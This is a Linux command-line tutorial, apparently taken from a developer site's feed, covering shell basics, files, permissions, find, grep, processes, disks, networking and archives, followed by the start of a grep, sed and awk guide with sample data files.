\nThe guide is arranged in the order a developer needs things: the grammar of the shell, moving through the filesystem, reading and changing files, permissions and ownership, finding things, filtering text, managing processes, checking disks and networks, archives, and the habits that make all of it repeatable. Where a topic has a deeper guide of its own, it links there.
\n\nA command line is a program name followed by arguments, separated by spaces. The shell splits the line into words, expands variables and wildcards, then starts the program with the resulting list. The program never sees the wildcard or the quotes; it sees the words. That fact explains most of the surprises in shell use.
\nls -l -a /etc\nls -la /etc\nls --all --format=long /etc\nOptions usually start with a dash. Short options are single letters and can be combined, so -la is -l -a. Long options start with two dashes and are spelled out. Arguments that are not options are usually files. A lone -- ends options, so rm -- -file removes a file named -file. Everything on the line is text; there are no typed arguments, which is why quoting matters so much.
man shows the manual page for a command, man -k word searches summaries for a topic, and command --help prints a shorter usage text. The sections matter: section 1 is commands, 5 is file formats such as crontab(5), 7 is overviews such as signal(7), and 8 is system administration. Inside the pager, / searches, n jumps to the next match and q quits.
man 5 crontab\nman -k \"disk usage\"\ntype cd ls\ncd is a shell builtin\nls is hashed (/usr/bin/ls)\ntype tells you whether a name is a builtin, an alias, a function or a file on disk. That matters because builtins such as cd have their documentation in Bash's own manual and not in man cd. Read the GNU coreutils manual for the core commands and the Linux man-pages project for system calls and file formats. Options differ between GNU, BSD and BusyBox implementations, so check the page that belongs to the system in front of you.
Every process has a current working directory, and relative paths are resolved against it. pwd prints it, cd changes it, cd - returns to the previous one, and cd alone goes home. A path starting with / is absolute; . is the current directory and .. is its parent; ~ expands to the home directory.
pwd\ncd /tmp/demo/docs\npwd\ncd ..\ncd -\n/tmp/demo\n/tmp/demo/docs\n/tmp/demo\n/tmp/demo/docs\nA child process cannot change its parent's directory, so a script that runs cd does not move your terminal. This is why cd must be a builtin, and why a script that needs to change your shell's directory has to be sourced rather than executed.
Linux presents one tree rooted at /. The Filesystem Hierarchy Standard, which most distributions follow, gives the main directories their jobs. /etc holds system configuration. /home holds users' files. /var holds data that changes, such as logs in /var/log and spool files. /tmp is temporary and is often cleared at boot. /usr holds installed programs and libraries, and on modern systems /bin, /sbin and /lib are symbolic links into it. /proc and /sys are virtual and expose kernel state, and /dev holds device files.
ls -l /bin /sbin | head -3\nuname -sr\nhead -2 /etc/os-release\nlrwxrwxrwx 1 root root 7 Mar 1 09:12 /bin -> usr/bin\nLinux 7.0.14-linuxkit\nPRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"\nKnowing the layout lets you guess where to look: a service's config is under /etc, its logs under /var/log, and its binaries under /usr/bin or /usr/local/bin. The standard is documented in the Filesystem Hierarchy Standard.
ls lists a directory. The flags worth knowing are -l for long format, -a to include dotfiles, -h for human-readable sizes, -t to sort by modification time, -S to sort by size, -r to reverse and -d to show a directory itself and not its contents.
cd /tmp/demo\nls -lah\ntotal 20K\ndrwxr-xr-x 4 root root 4.0K Nov 6 05:43 .\ndrwxrwxrwt 1 root root 4.0K Nov 6 05:43 ..\n-rw-r--r-- 1 root root 5 Nov 6 05:43 Makefile\ndrwxr-xr-x 2 root root 4.0K Nov 6 05:43 docs\ndrwxr-xr-x 2 root root 4.0K Nov 6 05:43 src\nThe first column is the file type and permissions, then the link count, owner, group, size and modification time. The first character of the mode is - for a regular file, d for a directory and l for a symbolic link. Never parse ls output in a script, because names with spaces and newlines break it. Use globs, or find and stat, which are built for machines.
stat prints the inode's metadata, and with -c a format of your choice. file guesses what a file contains from its first bytes, which is more reliable than the extension.
stat -c '%n %s bytes %A owner=%U mtime=%y' docs/notes.txt\nfile docs/notes.txt src/main.c\ndocs/notes.txt 45 bytes -rw-r--r-- owner=root mtime=2026-10-01 10:00:00.000000000 +0000\ndocs/notes.txt: ASCII text\nsrc/main.c: C source, ASCII text\nLinux files carry three times: modification (mtime, content changed), change (ctime, inode changed, such as permissions) and access (atime, usually updated lazily). There is no creation time field that every filesystem supports. The BSD and macOS stat uses a different option syntax, so scripts that call it are not portable without a branch.
mkdir -p creates a directory and any missing parents, and does not complain if it exists. touch creates an empty file or updates a timestamp. cp -a copies preserving mode, ownership, times and links, and -r copies directories. mv renames or moves, and on the same filesystem it is an atomic rename. rm -r removes a tree, and rm -i asks first.
mkdir -p build/logs\ncp -a src build/src-copy\nmv build/src-copy build/src\nrm -r build/src\nrmdir build/logs\nThere is no trash can and no undo for rm. Preview wildcard deletions by running the same pattern with ls or echo first, and be wary of rm -rf with a variable that could be empty. For files you can recreate, rm is fine; for the rest, copy first. Tools like trash-cli add a recoverable delete if you want one.
A filename is a directory entry that points at an inode. A hard link is a second entry pointing at the same inode, so the data persists until the last name is removed. A symbolic link is a tiny file that stores a path, followed at access time. Hard links cannot cross filesystems or point at directories; symbolic links can do both and can dangle if the target disappears.
\nln -s docs/notes.txt link\nls -l link\nln docs/notes.txt hard\nls -li docs/notes.txt hard\nlrwxrwxrwx 1 root root 14 Nov 6 05:43 link -> docs/notes.txt\nThe -i flag shows inode numbers, and two hard links to one file show the same number. A relative symbolic link is resolved from the directory that contains the link, not from where you ran ln, which is the most common reason a new link does not work. Deploy tools use ln -sfn to repoint a current link at a new release in one step.
cat prints files in order, and it is for concatenating, not for paging. less pages a file with search, so use it for anything longer than a screen. head -n 2 and tail -n 1 show the start and end, and tail -f follows a file as it grows, which is how you watch a log. wc -l counts lines.
head -n 2 docs/notes.txt\ntail -n 1 docs/notes.txt\nwc -l docs/notes.txt\ntail -F /var/log/syslog\nline one\nline two\nline four\n4 docs/notes.txt\nUse tail -F with a capital F for logs, because it keeps following across log rotation, where lowercase -f keeps watching the old, renamed file. Inside less, press F to follow, / to search, g and G to jump to the ends, and -S to toggle line wrapping for wide output.
Every process starts with standard input (0), standard output (1) and standard error (2). A pipe | connects one command's output to the next one's input, and redirections point the streams at files. The model is simple and everything else depends on it.
grep -c line docs/notes.txt\ngrep line docs/notes.txt | sort -r | head -2\nls /nonexistent 2> errors.txt\nls /tmp /nonexistent > both.txt 2>&1\ncommand >> log.txt\nGreater-than truncates and writes, double greater-than appends, and 2>&1 sends standard error to wherever standard output currently points. Order matters: the redirections are processed left to right. The special file /dev/null discards whatever is written to it, so command > /dev/null 2>&1 silences everything. The tee command copies its input to a file and to standard output, which is how you save the output of a pipeline and still see it.
Quotes control what the shell expands before the program runs. Double quotes allow variable and command expansion but prevent word splitting and globbing. Single quotes prevent everything. A backslash escapes the next character.
\nname=\"two words\"\nprintf '[%s]\\n' $name\nprintf '[%s]\\n' \"$name\"\nprintf '[%s]\\n' '$name'\n[two]\n[words]\n[two words]\n[$name]\nThe unquoted form became two arguments. Quote every variable expansion unless you specifically want splitting, which is rare. Use single quotes for patterns passed to grep, sed and awk, so the shell does not interpret their special characters first. The security consequences of unquoted data are covered in the shell script security guide.
The shell expands wildcards into matching file names before the command starts. * matches any string, ? one character, [abc] one of a set, and [!abc] anything else. Brace expansion generates strings without checking files: {a,b} and {1..3}. Hidden files, whose names start with a dot, are not matched by *.
echo *.txt\necho docs/*\necho file{1..3}.log\necho {src,docs}/*\nA pattern with no matches is passed through literally, so ls *.xyz reports an error about a file named *.xyz. Because the shell, not the command, expands wildcards, find -name '*.txt' needs the quotes so that find receives the pattern. Globs are not regular expressions: they are a separate, simpler language, and mixing them up is a frequent stumbling block that the regular expressions guide clears up.
Each file has an owner, a group and a mode with three triples: owner, group and others, each of read, write and execute. For a directory, read means listing names, write means creating and removing entries, and execute means entering it. The octal form adds 4, 2 and 1 for each triple, so 640 is owner read and write, group read, others nothing.
\nchmod 640 docs/notes.txt\nls -l docs/notes.txt\nchmod u+x,g-r docs/notes.txt\nls -l docs/notes.txt\nstat -c %a docs/notes.txt\n-rw-r----- 1 root root 45 Oct 1 10:00 docs/notes.txt\n-rwx------ 1 root root 45 Oct 1 10:00 docs/notes.txt\n700\nSymbolic modes read as who, operator, what: u+x adds execute for the owner, g-r removes read from the group, a=r sets read for all. chown user:group file changes ownership and normally needs root. Use chmod -R with care: a recursive 755 makes every data file executable, and the capital X (chmod -R u+rwX,go+rX) sets execute only on directories and files already executable.
New files start from a base mode of 666 for files and 777 for directories, and the umask removes bits from it. The common umask of 022 yields 644 files and 755 directories. A stricter 077 yields private files, which suits scripts that write secrets.
umask\ntouch f1; mkdir d1\nls -ld f1 d1\n0022\ndrwxr-xr-x 2 root root 4096 Nov 6 05:43 d1\n-rw-r--r-- 1 root root 0 Nov 6 05:43 f1\nThree special bits sit above the nine. Setuid on an executable makes it run as the file's owner, which is how passwd can write the password database. Setgid on a directory makes new files inherit its group, which suits shared project directories. The sticky bit on a directory, as on /tmp, lets only a file's owner delete it. They show up as s and t in the listing. Setuid scripts are ignored by Linux for safety, and every setuid binary on a system is an attack surface worth auditing with find / -perm -4000 -type f.
id prints the user ID, group ID and supplementary groups, whoami prints the name, and groups lists memberships. sudo command runs one command as root (or -u user as another user) after checking /etc/sudoers. Prefer it over a long-lived root shell, because every use is logged.
id\nsudo -l\nsudo -u www-data whoami\nuid=0(root) gid=0(root) groups=0(root)\nA redirection is performed by your shell before sudo starts, so sudo echo x > /etc/file fails with permission denied. Use echo x | sudo tee /etc/file instead. Edit the sudoers file only with visudo, which checks syntax before saving, because a broken file can lock out every administrator.
find walks a directory tree and tests each entry. Tests include -name (a glob, quoted), -type f or d, -mtime +7 for older than seven days, -size +100M, -user, -perm and -newer file. Combine tests with implicit AND, -o for OR, ! for NOT and parentheses escaped for the shell.
find . -name '*.c' -o -name '*.txt'\nfind . -type f -mtime +7\nfind . -type f \\( -name '*.c' -o -name '*.h' \\) -size -1M\n./src/main.c\n./docs/notes.txt\n./docs/notes.txt\nThe first command lists both because -o has lower precedence than the implied AND; add parentheses when mixing. The second printed only the file with a timestamp from October. Find evaluates tests left to right and stops at the first false one, so put cheap tests such as -name before expensive ones such as -exec. The GNU findutils manual documents every test.
Three actions cover most uses. -print prints names, and is the default when no action is given. -exec command {} + runs a command with many files at once, and -exec command {} \\; runs it once per file. -delete removes matches. For names with unusual characters, -print0 separates with a NUL byte, which pairs with xargs -0.
find /tmp/demo -name '*.tmp' -mtime +7 -delete\nfind . -name '*.c' -exec wc -l {} +\nfind . -type f -print0 | xargs -0 grep -l 'error'\nfind . -type d -empty -print\nPut -delete last; placed before the tests, it deletes everything. Preview by running the command with -print first. The + form is faster because it starts fewer processes, much like xargs. For simple name searches on a big tree, locate uses a prebuilt index and is instant, but its index can be stale.
grep prints lines that match a pattern. The options to learn are -i ignore case, -v invert, -n line numbers, -r recurse, -l file names only, -c count, -w whole words, -F fixed strings, -E extended regular expressions and -A, -B, -C for context lines.
grep -n error docs/notes.txt\ngrep -rn --include='*.c' 'main' src\ngrep -c . docs/notes.txt\ngrep -v '^#' /etc/hosts | grep -v '^$'\n3:error: disk full\nThe exit status is 0 for a match, 1 for none and 2 for an error, which makes if grep -q pattern file the standard way to test for text. A leading - in the pattern needs -e or --. For code, tools such as ripgrep respect .gitignore and run faster, but GNU grep is on every machine. The deeper treatment, including sed and awk, is in the grep, sed and awk guide.
These four small tools do most of the everyday work on columns and lists. sort orders lines, and its useful options are -n numeric, -h human sizes, -r reverse, -k a key field, -t a separator and -u unique. uniq collapses adjacent duplicates, so sort first; -c counts them. cut -d: -f1,7 picks fields. tr translates or deletes characters.
printf 'b\\na\\nb\\nc\\nb\\n' | sort | uniq -c | sort -rn\necho 'root:x:0:0:root:/root:/bin/bash' | cut -d: -f1,7\necho 'Hello World' | tr a-z A-Z\n 3 b\n 1 c\n 1 a\nroot:/bin/bash\nHELLO WORLD\nThe pattern sort | uniq -c | sort -rn is the classic frequency table, and it turns up in every log analysis. Sorting follows the locale; set LC_ALL=C for plain byte order, which is faster and gives the same result on every machine. sort -k2,2n sorts by the second field numerically, and the comma matters: without it the key runs to the end of the line.
xargs reads items from standard input and builds command lines from them. It exists because the kernel limits the length of an argument list, and because it lets you turn a stream of names into arguments. Use -n to cap items per call, -P to run several in parallel, and -0 with -print0 for safe names.
printf 'a b\\n' | xargs -n1 echo item\nfind . -name '*.log' -print0 | xargs -0 -P4 gzip\nprintf '%s\\n' web01 web02 | xargs -I{} ssh {} uptime\nitem a\nitem b\nBy default xargs splits on whitespace, which breaks on names with spaces; the NUL form is the reliable one. With -I{} each item replaces the placeholder and runs once. If the input is empty, GNU xargs still runs the command once unless you add -r (--no-run-if-empty), which is the cause of many strange \"ran with no arguments\" errors.
A process is a running program with a PID, a parent, an owner and a state. ps shows a snapshot, top and htop show it live, pgrep finds PIDs by name, and pstree draws the parent-child tree. The container image used for the other examples ships without ps; on Debian it comes from the procps package.
ps -eo pid,ppid,user,stat,etime,comm --sort=-etime | head\nps aux --sort=-%mem | head -5\npgrep -af nginx\npstree -p $$\nThe STAT column letters are worth knowing: R running, S sleeping, D uninterruptible sleep, usually waiting on disk or network storage, T stopped and Z zombie, a finished process whose parent has not collected its status. A pile of D processes explains a high load average with an idle CPU. The BSD-style ps aux and the standard ps -ef both work on Linux; mixing the styles in one command gives warnings. The ps manual page lists every column.
A signal is a small message to a process. kill PID sends SIGTERM (15), a polite request to exit that a program can catch to clean up. kill -HUP often asks a daemon to reload configuration. kill -9 sends SIGKILL, which cannot be caught or ignored and gives the process no chance to clean up. Use SIGTERM first and escalate only if it does not exit.
sleep 300 &\nkill %1\npkill -f 'python worker.py'\nkill -l | head -3\nCtrl-C sends SIGINT to the foreground job, Ctrl-Z sends SIGTSTP to pause it, bg resumes it in the background and fg brings it back. jobs lists the shell's jobs. The full list and default actions are in signal(7). A process stuck in state D will not die from SIGKILL until its disk or network request returns, which is a property of the kernel and not a bug in the command.
A job started in a terminal gets SIGHUP when the terminal closes. For long jobs over SSH, run them in tmux (or screen), which keeps a session alive on the server so you can detach and reattach. nohup makes a command ignore SIGHUP and write to nohup.out. On a systemd host, systemd-run --user starts a command in its own transient unit, with logs in the journal.
tmux new -s build\n# Ctrl-b d to detach\ntmux attach -t build\nnohup ./long-job.sh > job.log 2>&1 &\nsystemd-run --user --unit=import ./import.sh\nFor something that must start at boot and restart on failure, a transient job is the wrong tool; write a service or timer unit, as described in the cron and systemd timers guide. SSH multiplexing and reconnect behavior, which affect long sessions, are in the SSH guide.
\n\nWhen something is using a file or a port, lsof and ss say which process. lsof path lists processes with a file open, lsof -i :8080 finds who is bound to a port, and lsof +L1 lists deleted files that are still held open, which is the usual cause of a disk that is full while du shows free space. ss -ltnp lists listening TCP sockets with their processes.
ss -ltnp\nlsof -i :8080\nlsof +L1\nfuser -v /var/log/app.log\nState Recv-Q Send-Q Local Address:Port Peer Address:Port Process\nLISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:((\"nginx\",pid=812,fd=6))\nLISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:((\"sshd\",pid=611,fd=3))\nSeeing other users' processes needs root, so run these with sudo when the Process column is empty. ss replaced netstat, which is deprecated and absent from many current images. The -n flag skips name resolution, which both speeds the command up and shows real addresses.
df -h shows free space per filesystem, df -i shows free inodes, and du -sh totals a directory. A filesystem can be full by blocks or by inodes, and a directory with millions of tiny files exhausts inodes while df -h still shows free space.
df -h /tmp\ndu -sh .\ndu -ah . | sort -rh | head -3\ndf -i /\nFilesystem Size Used Avail Use% Mounted on\noverlay 189G 137G 43G 77% /\n24K\t.\n24K\t.\n8.0K\t./src\n8.0K\t./docs\nThe sorted du output lists the total first because . contains everything; use du -h --max-depth=1 to see one level at a time. When df and du disagree, a deleted file is still open by a process, which lsof +L1 shows; restarting that process frees the space. ncdu is an interactive version of the same investigation and is worth installing on servers you manage.
free -m shows memory in megabytes, with available being the number that matters, not free, because Linux uses spare memory as cache. uptime prints load averages for 1, 5 and 15 minutes, which count runnable and uninterruptible tasks and should be read against the number of CPUs from nproc. uname -a, lscpu and /etc/os-release describe the machine.
free -m\nuptime\nnproc\ncat /proc/meminfo | head -3\nA load of 4 on a 4-CPU machine is full; on a 32-CPU machine it is idle. A rising load with low CPU use points at storage or network waits. The /proc files are the source of truth for these tools, and reading them directly is how scripts get numbers without parsing another program's formatting.
ip addr shows addresses and ip route the routing table; they replace ifconfig and route. ping -c 3 host tests reachability. dig +short name resolves DNS names. curl speaks HTTP and many other protocols, and curl -fsS is the script-friendly form that fails on HTTP errors and prints only errors.
ip -br addr\nip route get 1.1.1.1\ndig +short example.org\ncurl -fsS -o /dev/null -w '%{http_code} %{time_total}s\\n' https://example.org/\n200 0.231s\nThe -w format prints timing and status without the body, which suits health checks. Without -f, curl exits 0 on a 404 or 500, because the transfer itself worked. Add --max-time and --retry in scripts so a stalled server cannot hang the job. For remote login and file transfer, move on to the SSH guide.
tar bundles files into one archive and gzip, xz or zstd compress it. The flags are c create, x extract, t list, f file, z gzip, J xz and v verbose. Use -C dir to choose where to work.
tar -czf ../demo.tgz .\ntar -tzf ../demo.tgz | head -4\nmkdir /tmp/restore && tar -xzf ../demo.tgz -C /tmp/restore\ngzip -k big.log\nzcat big.log.gz | grep -c error\n./\n./Makefile\n./src/\n./src/main.c\nList before extracting an archive you did not make, because a tarball can contain absolute paths or .. components. GNU tar strips leading slashes by default, but check. Pick the compressor by the trade: gzip is fast and universal, xz compresses best and is slow, zstd gives most of xz's ratio at much higher speed. zcat, zgrep and zless read compressed files without unpacking.
Variables exported with export are inherited by child processes. env prints the environment, and env -i starts a command with an empty one, which is the honest test of what a script needs. PATH is the colon-separated list of directories searched for commands, in order, and the first match wins.
echo \"$PATH\"\nenv -i PATH=/bin bash -c 'echo \"$HOME-$PATH\"'\nexport EDITOR=vim\nPATH=\"$HOME/bin:$PATH\"\n-/bin\nThat second command printed an empty HOME and the one directory we gave it, which is closer to what cron provides than your login shell. Put per-user setup in ~/.profile for login shells and ~/.bashrc for interactive Bash, and system-wide values in /etc/environment or /etc/profile.d/. Never put . in PATH, because a malicious file in a directory you visit then runs as a command.
Bash keeps a history, searched with Ctrl-R as you type. !! repeats the last command, !$ is its last argument, and sudo !! reruns it as root. Line editing follows Emacs bindings: Ctrl-A and Ctrl-E jump to the ends, Alt-B and Alt-F move by word, Ctrl-W deletes a word and Ctrl-U deletes to the start. Settings such as HISTSIZE, HISTCONTROL=ignoreboth and HISTTIMEFORMAT in ~/.bashrc tune how much is kept.
history | tail -3\nsudo !!\ncd !$\nHistory is written when the shell exits, so a terminal that crashes loses its commands; shopt -s histappend and PROMPT_COMMAND='history -a' write after every command. History files can contain secrets typed on command lines, so treat ~/.bash_history as sensitive, and prefix a command with a space (with ignorespace set) to keep it out.
Real questions are answered by chaining tools. Suppose a web server log has lines like 203.0.113.9 - - [05/Nov/2026:10:01:02 +0000] \"GET /a HTTP/1.1\" 200 512 and you want the five client addresses that made the most failing requests. Build the pipeline one stage at a time, running it after each addition.
awk '$9 >= 500 { print $1 }' access.log \\\n | sort \\\n | uniq -c \\\n | sort -rn \\\n | head -5\n 42 203.0.113.9\n 17 198.51.100.4\n 3 192.0.2.77\nawk keeps the client column of lines whose status field is 500 or above, sort groups equal addresses, uniq -c counts each group, the second sort -rn ranks by count and head keeps the top. The shape is general: select, normalize, group, count, rank, limit. Awk and its alternatives are explained properly in the text-processing guide. When a pipeline grows past a few stages, name its parts in a script, as in the Bash tutorial.
Once a command line works, save it. A script is the same commands in a file with a shebang and the executable bit, plus the quoting, argument handling and error checks that an interactive session lets you skip. Start by pasting the working line, replace the hard-coded values with variables, quote them, and add set -euo pipefail and a usage message. Then run it under shellcheck and fix what it reports.
#!/usr/bin/env bash\nset -euo pipefail\nlog=\"${1:?usage: top-errors.sh LOGFILE [N]}\"\nn=\"${2:-5}\"\nawk '$9 >= 500 { print $1 }' \"$log\" | sort | uniq -c | sort -rn | head -n \"$n\"\nThis is the point at which the command line stops being exploration and becomes a tool, and the fuller treatment is in the Bash scripting tutorial and the testing guide. If you plan to run the result on a schedule, the cron and systemd timers guide covers the environment differences that make a working interactive command fail overnight.
\n\ndiff shows the differences between two text files, and diff -u produces the unified format that patches and code review use. diff -r compares directories. cmp compares bytes and reports the first difference, which suits binary files. comm compares two sorted lists and prints lines unique to each and common to both.
diff -u old.conf new.conf\ndiff -rq dir1 dir2\ncmp a.bin b.bin\ncomm -12 <(sort list1) <(sort list2)\nThe exit status is 0 for identical, 1 for different and 2 for trouble, which makes diff -q usable as a test. A unified diff can be applied with patch -p1 < change.diff, though in a repository git diff and git apply do the same with better error handling.
Every developer on servers needs one terminal editor. nano is the gentlest, showing its keys at the bottom. vim is modal and fast once learned: i inserts, Esc returns to normal mode, :w saves, :q quits, :q! quits without saving, /text searches, and dd deletes a line. Set EDITOR and VISUAL so programs such as git commit and crontab -e open the editor you chose. For one-line changes in a script, sed -i edits a file in place, and the deeper tour is in the text-processing guide.
export EDITOR=nano\nsed -i.bak 's/old/new/g' config.ini\nThe .bak suffix keeps a copy of the original, which is the cheap insurance for any in-place edit and also the portable form, since BSD sed requires a suffix argument.
Accounts live in plain text files. /etc/passwd lists users, with name, UID, GID, home and shell. /etc/shadow holds password hashes and is readable only by root. /etc/group lists groups. getent passwd name queries these and any directory service, such as LDAP, in one command, and adduser, usermod and userdel manage accounts. A user must log out and in again for a new group membership to apply.
getent passwd root\ngetent group sudo\nsudo usermod -aG docker deploy\nroot:x:0:0:root:/root:/bin/bash\nThe -a in usermod -aG means append; leaving it off replaces all of the user's supplementary groups with the one named, which has locked people out of sudo. Giving an account membership in the docker group is equivalent to giving it root on the host, a trade-off to make deliberately.
Install software with the distribution's package manager: apt on Debian and Ubuntu, dnf on Fedora and RHEL, apk on Alpine and pacman on Arch. Update the package index before installing, query what owns a file with dpkg -S or rpm -qf, and list a package's files with dpkg -L. On systemd systems, services are controlled with systemctl and read with journalctl.
sudo apt update && sudo apt install -y jq\ndpkg -S /usr/bin/jq\nsystemctl status ssh --no-pager\njournalctl -u ssh --since '1 hour ago' --no-pager | tail -5\nTreat curl ... | sh installers with suspicion, as the script can change between your reading and running it. Download, read and then run, or prefer the package manager. In containers, run apt-get update and the install in the same RUN layer, and clean the lists afterward, to avoid stale indexes and large images.
ls or echo first.sudo with a redirection. The shell opens the file before sudo runs; use tee.kill -9 first. Send SIGTERM and wait, so the program can clean up.ls output in a script. Use globs, find and stat.chmod 777 to make a permission error go away. Find the real owner and mode problem.cd in a script does not move your shell. Source the file or print the path.-F on tail across rotation. Lowercase -f follows the renamed file.env -i to see what a clean launch has.Most of these are the same error: acting on what you meant instead of on what the shell will do. Reading the expansion first, with echo or set -x, closes the gap, and the debugging guide builds on that habit.
date prints and formats the current time, date -u prints UTC, and date +%s prints seconds since the epoch. timedatectl shows the time zone and whether the clock is synchronized. Servers should run in UTC with NTP enabled, so logs from different machines line up and daylight saving changes cannot cause a job to run twice or not at all. For one-off delayed jobs, at runs a command at a given time, sleep waits, and watch -n 5 command repeats a command and redraws the output, which is a quick way to monitor a changing value. Recurring jobs belong to cron or a systemd timer.
date -u +%FT%TZ\ntimedatectl | head -4\nwatch -n 5 'df -h /var | tail -1'\necho 'tar -czf /tmp/b.tgz /srv/data' | at 02:30\nA clock that drifts breaks TLS validation, token expiry and log correlation in ways that look unrelated to time, so check timedatectl early when a certificate or token error makes no sense.
Every command you chain costs a process, and every process costs a fork, an exec and some memory. For a handful of files it does not matter; for a million it dominates. A few rules of thumb come from that. A single awk replaces a grep | cut | sort chain with one process, though on three million lines both ran in about half a second in Debian 12, so measure before rewriting. A find ... -exec cmd {} + is faster than -exec cmd {} \\; because it starts far fewer processes. grep -F is faster than grep with a regular expression when you only need a fixed string. LC_ALL=C sort avoids locale collation. Piping a file into a tool that can open it, as in cat file | grep x, adds a process and loses nothing but a little clarity, so write grep x file. Measure with time before and after any change claimed to be an optimization, since the slow step is rarely the one you suspect.
time grep -c error big.log\ntime LC_ALL=C grep -c error big.log\ntime awk '/error/ {n++} END {print n}' big.log\nThe method for finding the slow part of a longer script, with counters and traces, is described in the debugging guide.
\n\nPeople who work fast at a terminal have usually built a small, deliberate toolbox. Keep scripts you reuse in ~/bin and add it to PATH, with each script named for what it does and passing ShellCheck. Keep dotfiles in a Git repository so a new machine takes minutes. Define a few aliases for commands you type daily, such as alias ll='ls -lah', and a handful of functions for anything that needs arguments, because aliases cannot take them. Prefer functions in ~/.bashrc over scripts for anything that must change the shell's own state, such as moving to a project directory. Resist adding shortcuts you will forget: a toolbox of ten things you use beats one of a hundred you do not.
alias ll='ls -lah'\nmkcd() { mkdir -p -- \"$1\" && cd -- \"$1\"; }\nup() { cd \"$(printf '../%.0s' $(seq 1 \"${1:-1}\"))\"; }\nFunctions like mkcd must live in the shell's startup file or be sourced, because a script cannot change its parent's directory, as shown at the start of the guide.
The fastest way to become fluent is to practice somewhere a mistake costs nothing. A container gives you a clean Linux in seconds and a fresh one every time, so you can break it, delete the wrong directory, and start again. Run docker run --rm -it debian:12 bash and work through the sections of this guide inside it. Install the missing tools with apt-get update and apt-get install -y procps when you need ps or free. A virtual machine or a spare cloud instance serves when you need systemd, which most containers lack. Set yourself small tasks: find the five largest files under /usr, list every listening port with its process, write a one-line command that counts distinct users in /etc/passwd by shell. Each task uses three or four of the commands above and teaches you which options you actually reach for.
macOS and the BSDs. The commands share names but not always flags. BSD sed -i needs a suffix, BSD stat uses -f for formats, ps columns differ, and /proc does not exist. Install GNU coreutils from Homebrew, or check each page.
Alpine and BusyBox. Many commands are reduced applets with fewer options. find -printf, grep -P and long options may be missing. The portable shell guide lists the differences in more detail.
Containers and distroless images. There may be no shell, no ps, no package manager. Debug with an ephemeral debug container or by mounting tools from another image, and do not assume the host's commands exist inside.
Large-scale operations. One-line pipelines are fine for a server, but for hundreds of hosts, use configuration management or a proper orchestrator. Commands that are reliable on one machine become unmanageable across many.
\n\nThe command line rewards depth in a few tools over breadth across many. After the basics here, the highest-return topics are text processing, remote work and automation. The grep, sed and awk guide and the regular expressions guide cover text. The SSH guide covers remote work. The cron and systemd timers guide covers running things on a schedule, and the shell script security guide covers doing all of it safely.
\nPrimary sources used here: the GNU coreutils manual, the Bash Reference Manual, the GNU findutils manual, the GNU grep manual, the GNU tar manual, the Filesystem Hierarchy Standard, the signal manual page, the ss manual page and the systemctl manual page.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Linux"]},{"id":"https://shellhacks.dev/library/grep-sed-awk-guide","url":"https://shellhacks.dev/library/grep-sed-awk-guide","title":"grep sed and awk With Real Examples You Can Copy and Paste","summary":"A grep sed awk guide with real, run examples: search, replace, extract and summarize text from logs, config files and CSV, and know which tool to pick.","content_html":"Three programs from the 1970s still do most of the text processing on Linux servers: grep finds lines, sed edits them and awk calculates over them. They all read lines from files or standard input, write lines to standard output, and compose with pipes. Every example below ran on Debian 12 with GNU grep 3.8, GNU sed 4.9 and GNU Awk 5.2.1, against small sample files shown in full so you can reproduce the results. Where mawk, the default awk on Debian, or BSD and BusyBox versions behave differently, the section says so.
The guide is arranged by verb. It sets up the sample data, then covers grep, sed and awk in turn, then how to combine them, three complete worked jobs, and the points at which another tool is the better choice. For the pattern language shared by all three, the regular expressions guide goes deeper than the summaries here.
\n\nThree small files carry every example. An access log in the common format, an INI-style config, and a CSV of sales.
\n$ cat access.log\n203.0.113.9 - - [05/Nov/2026:10:01:02 +0000] \"GET /index.html HTTP/1.1\" 200 5120\n198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n203.0.113.9 - - [05/Nov/2026:10:01:09 +0000] \"POST /api/login HTTP/1.1\" 401 45\n192.0.2.77 - - [05/Nov/2026:10:02:11 +0000] \"GET /missing HTTP/1.1\" 404 312\n198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\n203.0.113.9 - - [05/Nov/2026:10:03:41 +0000] \"GET /img/logo.png HTTP/1.1\" 200 20480\n\n$ cat app.conf\n# main settings\nhost = db01.internal\nport = 5432\n; legacy\ntimeout=30\nuser = deploy\n\n$ cat sales.csv\nregion,product,units,price\nnorth,widget,10,2.50\nsouth,gadget,4,10.00\nnorth,gadget,7,10.00\neast,widget,12,2.50\nsouth,widget,3,2.50\nThe addresses come from the documentation ranges reserved in RFC 5737, so they are safe to publish and never refer to a real host. The log has the columns you meet in real servers: client, two unused fields, a bracketed time, the quoted request, the status and the size.
\n\nChoose by the verb in your task. If the task is \"show me the lines that\", use grep. If it is \"change this text to that\", use sed. If it is \"for each line, take these columns and total, count or reformat them\", use awk. The boundaries blur because each can do some of the others' jobs, but the tool that matches the verb is almost always shorter and clearer.
\n| Task | Best tool | Why |
|---|---|---|
| Find lines containing an error | grep | One purpose, fastest startup and scan |
| Replace a word in a file | sed | Substitution is its core command |
| Print the 3rd column | awk | Splits fields natively |
| Count requests per client | awk | Associative arrays |
| Delete comment and blank lines | grep -v or sed | Either reads well |
| Change one value in a config file | sed | Address plus substitute |
| Sum a column | awk | Variables and arithmetic |
| Extract just the matched part | grep -o | Prints only the match |
All three process the input as a stream, one line at a time, without loading the file into memory, which is why they handle multi-gigabyte logs on a small machine. The record separator is a newline by default for all of them, and each lets you change it.
\n\nThe shell sees the command line first. Characters such as *, $, (, | and \\ are meaningful to both the shell and the regular expression, so an unquoted pattern is interpreted by the shell before grep or sed ever receives it. Single quotes stop all expansion.
grep -E ' (404|50[0-9]) ' access.log\ngrep \"$var\" file\nsed 's/\\$HOME/~/' notes.txt\nUse single quotes for any literal pattern or script. Use double quotes only when you deliberately want the shell to insert a variable, and remember that the variable's contents then become part of the pattern, so a value containing a dot or a bracket changes what matches. For a variable that must match literally, use grep -F -- \"$var\", which treats it as a fixed string. A single quote inside a single-quoted string cannot be escaped; close the quote, add an escaped one, and reopen: 'it'\\''s'.
